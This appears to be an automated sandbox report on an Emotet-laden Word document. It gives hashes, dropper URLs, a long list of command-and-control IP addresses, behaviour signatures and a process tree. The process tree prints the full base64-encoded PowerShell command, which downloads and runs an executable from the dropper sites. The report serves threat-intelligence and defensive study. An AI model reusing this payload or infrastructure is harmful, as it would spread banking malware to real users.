emotet | a5d85cd2667db72694ebe5848ca33871bb1248ef6e3681691e600b5915bd7d4a

General

Target
emotet_e2_a5d85cd2667db72694ebe5848ca33871bb1248ef6e3681691e600b5915bd7d4a_2020-08-13__165655._doc.doc
Size 229KB
Sample200813-dyrgt8ck36
SHA256 a5d85cd2667db72694ebe5848ca33871bb1248ef6e3681691e600b5915bd7d4a
MD5 b4bb346b9872f1d07ca506067882c959
SHA1 668bad95cf31d29d9683a9766519dde278f1587f
SHA512 9b280d7631d9fb98967ec961d195d0c901d0c8d7285339c09f78513fe8ad73bf55360c6206a605d82115c47aa6d015c23353eb59f35658ead8339bb3861d3769
MD5 SHA1 SHA512

Score

10^/10

trojan banker emotet

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper
http://yang-agency.com/cgi-bin/s27pi_rbt70_kp/
exe.dropper
http://blog.takipcikedi.com/wordpress/5h0y_21l_5h58lfleyt/
exe.dropper
https://doooone.com/wp-includes/k5p7_g710j_3och/
exe.dropper
http://bitaghamari.com/wp-admin/svph4_7g82w_km6sh8v76/
exe.dropper
http://dae.dte.hcmut.edu.vn/alfacgiapi/9lw_j7q5_9cm6kkdet8/

Extracted

Family

emotet

C2

24.233.112.152:80
69.30.203.214:8080
192.210.135.126:8080
47.144.21.12:443
157.245.99.39:8080
119.198.40.179:80
62.75.141.82:80
181.211.11.242:80
167.86.90.214:8080
95.213.236.64:8080
87.106.139.101:8080
109.74.5.95:8080
142.105.151.124:443
47.146.117.214:80
185.94.252.104:443
2.58.16.85:7080
222.214.218.37:4143
85.105.205.77:8080
190.160.53.126:80
107.185.211.16:80
104.131.11.150:443
189.212.199.126:443
104.131.44.150:8080
201.173.217.124:443
199.101.86.142:8080
121.124.124.40:7080
110.145.77.103:80
168.235.67.138:7080
5.39.91.110:7080
78.24.219.147:8080
37.187.72.193:8080
114.146.222.200:80
47.146.32.175:80
76.27.179.47:80
169.239.182.217:8080
91.211.88.52:7080
41.60.200.34:80
116.203.32.252:8080
153.126.210.205:7080
157.147.76.151:80
74.120.55.163:80
209.141.54.221:8080
67.205.85.243:8080
46.105.131.79:8080
74.208.45.104:8080
180.92.239.110:8080
70.167.215.250:8080
61.19.246.238:443
83.110.223.58:443
109.116.214.124:443
87.106.136.232:8080
97.82.79.83:80
72.12.127.184:443
137.59.187.107:8080
79.98.24.39:8080
139.59.60.244:8080
203.117.253.142:80
104.236.246.93:8080
24.137.76.62:80
165.165.171.160:8080
181.230.116.163:80
93.51.50.171:8080
139.130.242.43:80
85.152.162.105:80
62.138.26.28:8080
152.168.248.128:443
188.83.220.2:443
47.153.182.47:80
203.153.216.189:7080
81.2.235.111:8080
95.179.229.244:8080
183.101.175.193:80
24.43.99.75:80
174.102.48.180:80
173.62.217.22:443
190.55.181.54:443
209.143.35.232:80
103.86.49.11:8080
204.197.146.48:80
200.41.121.90:80
113.160.130.116:8443
83.169.36.251:8080
176.111.60.55:8080
37.139.21.175:8080
24.179.13.119:80
5.196.74.210:8080

rsa_pubkey.plain

Signatures

Emotet
Emotet is a trojan that is primarily spread through spam emails.
trojan banker emotet

Process spawned unexpected child process 1 IoCs

This typically indicates the parent process was compromised via an exploit or macro.

description	pid	pid_target	Process	procid_target
Parent C:\Windows\system32\wbem\wmiprvse.exe is not expected to spawn this process	908	3832	powersheLL.exe	67

Emotet Payload 4 IoCs

Detects Emotet payload in memory.

resource	yara_rule
behavioral2/memory/1856-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp	emotet
behavioral2/memory/1856-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp	emotet
behavioral2/memory/2440-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp	emotet
behavioral2/memory/2440-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp	emotet

Blacklisted process makes network request 1 IoCs

flow	pid	Process
14	908	powersheLL.exe

Executes dropped EXE 2 IoCs

pid	Process
1856	Dwfm.exe
2440	RunLegacyCPLElevated.exe

Drops file in System32 directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Windows\SysWOW64\wlidcredprov\RunLegacyCPLElevated.exe	Dwfm.exe

Checks processor information in registry 2 TTPs 3 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0	WINWORD.EXE

Enumerates system info in registry 2 TTPs 3 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily	WINWORD.EXE
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU	WINWORD.EXE
Key opened	\REGISTRY\MACHINE\Hardware\Description\System\BIOS	WINWORD.EXE

Suspicious behavior: AddClipboardFormatListener 2 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE

Suspicious behavior: EnumeratesProcesses 7 IoCs

pid	Process
908	powersheLL.exe
908	powersheLL.exe
908	powersheLL.exe
2440	RunLegacyCPLElevated.exe
2440	RunLegacyCPLElevated.exe
2440	RunLegacyCPLElevated.exe
2440	RunLegacyCPLElevated.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	908	powersheLL.exe

Suspicious use of SetWindowsHookEx 13 IoCs

pid	Process
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
3672	WINWORD.EXE
1856	Dwfm.exe
1856	Dwfm.exe
2440	RunLegacyCPLElevated.exe
2440	RunLegacyCPLElevated.exe

Suspicious use of WriteProcessMemory 6 IoCs

description	pid	Process	procid_target
PID 908 wrote to memory of 1856	908	powersheLL.exe	75
PID 908 wrote to memory of 1856	908	powersheLL.exe	75
PID 908 wrote to memory of 1856	908	powersheLL.exe	75
PID 1856 wrote to memory of 2440	1856	Dwfm.exe	76
PID 1856 wrote to memory of 2440	1856	Dwfm.exe	76
PID 1856 wrote to memory of 2440	1856	Dwfm.exe	76

C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
"C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\emotet_e2_a5d85cd2667db72694ebe5848ca33871bb1248ef6e3681691e600b5915bd7d4a_2020-08-13__165655._doc.doc" /o ""
1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
PID:3672

C:\Windows\System32\WindowsPowerShell\v1.0\powersheLL.exe
powersheLL -e JABNAFQAUwBLAFQAdQBpAGQAPQAnAEoAWQBVAFgAQQB5AGYAcQAnADsAWwBOAGUAdAAuAFMAZQByAHYAaQBjAGUAUABvAGkAbgB0AE0AYQBuAGEAZwBlAHIAXQA6ADoAIgBTAEUAQwBgAFUAcgBJAHQAWQBgAFAAcgBPAFQAbwBgAGMATwBMACIAIAA9ACAAJwB0AGwAcwAxADIALAAgAHQAbABzADEAMQAsACAAdABsAHMAJwA7ACQARABXAEYAQwBGAG8AdgBjACAAPQAgACcARAB3AGYAbQAnADsAJABYAEwAVgBIAEsAagBvAHQAPQAnAFoAUgBTAEcAWQBiAHMAawAnADsAJABEAEQARQBIAEQAdQB0AHcAPQAkAGUAbgB2ADoAdABlAG0AcAArACcAXAAnACsAJABEAFcARgBDAEYAbwB2AGMAKwAnAC4AZQB4AGUAJwA7ACQAWQBaAFUASwBZAGsAZgB2AD0AJwBXAFAATABaAFcAZgByAHYAJwA7ACQAVABPAEgAVQBSAGEAdQBoAD0ALgAoACcAbgBlAHcALQAnACsAJwBvAGIAJwArACcAagAnACsAJwBlAGMAdAAnACkAIABOAGUAdAAuAFcARQBiAEMATABJAEUATgBUADsAJABOAFAAUABSAEkAYQBrAGgAPQAnAGgAdAB0AHAAOgAvAC8AeQBhAG4AZwAtAGEAZwBlAG4AYwB5AC4AYwBvAG0ALwBjAGcAaQAtAGIAaQBuAC8AcwAyADcAcABpAF8AcgBiAHQANwAwAF8AawBwAC8AKgBoAHQAdABwADoALwAvAGIAbABvAGcALgB0AGEAawBpAHAAYwBpAGsAZQBkAGkALgBjAG8AbQAvAHcAbwByAGQAcAByAGUAcwBzAC8ANQBoADAAeQBfADIAMQBsAF8ANQBoADUAOABsAGYAbABlAHkAdAAvACoAaAB0AHQAcABzADoALwAvAGQAbwBvAG8AbwBuAGUALgBjAG8AbQAvAHcAcAAtAGkAbgBjAGwAdQBkAGUAcwAvAGsANQBwADcAXwBnADcAMQAwAGoAXwAzAG8AYwBoAC8AKgBoAHQAdABwADoALwAvAGIAaQB0AGEAZwBoAGEAbQBhAHIAaQAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AcwB2AHAAaAA0AF8ANwBnADgAMgB3AF8AawBtADYAcwBoADgAdgA3ADYALwAqAGgAdAB0AHAAOgAvAC8AZABhAGUALgBkAHQAZQAuAGgAYwBtAHUAdAAuAGUAZAB1AC4AdgBuAC8AYQBsAGYAYQBjAGcAaQBhAHAAaQAvADkAbAB3AF8AagA3AHEANQBfADkAYwBtADYAawBrAGQAZQB0ADgALwAnAC4AIgBzAHAAYABMAEkAVAAiACgAWwBjAGgAYQByAF0ANAAyACkAOwAkAFAATABKAFkATwBnAHIAeQA9ACcARQBVAEEARQBZAHQAbQBnACcAOwBmAG8AcgBlAGEAYwBoACgAJABRAFoARwBVAFQAawB0AHMAIABpAG4AIAAkAE4AUABQAFIASQBhAGsAaAApAHsAdAByAHkAewAkAFQATwBIAFUAUgBhAHUAaAAuACIAZABPAGAAdwBuAEwAbwBBAGQAYABGAGkAbABlACIAKAAkAFEAWgBHAFUAVABrAHQAcwAsACAAJABEAEQARQBIAEQAdQB0AHcAKQA7ACQAQQBOAE4ASwBDAG8AYwByAD0AJwBHAEEAVgBOAE8AYwB1AGQAJwA7AEkAZgAgACgAKAAmACgAJwBHAGUAJwArACcAdAAtAEkAdAAnACsAJwBlAG0AJwApACAAJABEAEQARQBIAEQAdQB0AHcAKQAuACIATABgAGUATgBHAHQASAAiACAALQBnAGUAIAAzADgANgAwADcAKQAgAHsAJgAoACcASQBuAHYAbwBrAGUAJwArACcALQAnACsAJwBJAHQAZQAnACsAJwBtACcAKQAoACQARABEAEUASABEAHUAdAB3ACkAOwAkAEEASwBOAFMAWgBoAGEAYgA9ACcAUgBSAFIATgBQAHQAcQBpACcAOwBiAHIAZQBhAGsAOwAkAEUASgBVAFYAVwBjAGwAeQA9ACcAUgBGAFgASwBVAHYAawBnACcAfQB9AGMAYQB0AGMAaAB7AH0AfQAkAE4AVQBPAEQAQgBuAHcAYQA9ACcATwBNAEYAVQBYAHUAYQB5ACcA
1⤵
- Process spawned unexpected child process
- Blacklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:908
- C:\Users\Admin\AppData\Local\Temp\Dwfm.exe
  "C:\Users\Admin\AppData\Local\Temp\Dwfm.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of SetWindowsHookEx
  - Suspicious use of WriteProcessMemory
  PID:1856
- - C:\Windows\SysWOW64\wlidcredprov\RunLegacyCPLElevated.exe
    "C:\Windows\SysWOW64\wlidcredprov\RunLegacyCPLElevated.exe"
    3⤵
    - Executes dropped EXE
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of SetWindowsHookEx
    PID:2440

Network

MITRE ATT&CK Enterprise v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

2

T1012

System Information Discovery

2

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

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Downloads

memory/908-7-0x00007FFDB5360000-0x00007FFDB5D4C000-memory.dmp

Download

memory/908-8-0x0000015379490000-0x0000015379491000-memory.dmp

Download

memory/908-9-0x00000153796C0000-0x00000153796C1000-memory.dmp

Download

memory/1856-13-0x0000000003FA0000-0x0000000003FAC000-memory.dmp

Download

memory/2440-16-0x0000000003E60000-0x0000000003E6C000-memory.dmp

Download

memory/3672-0-0x00007FFDBD120000-0x00007FFDBD7E6000-memory.dmp

Download

memory/3672-5-0x0000020D6907E000-0x0000020D69098000-memory.dmp

Download

Analysis

Sharing

General

Malware Config

Extracted

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v6

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Downloads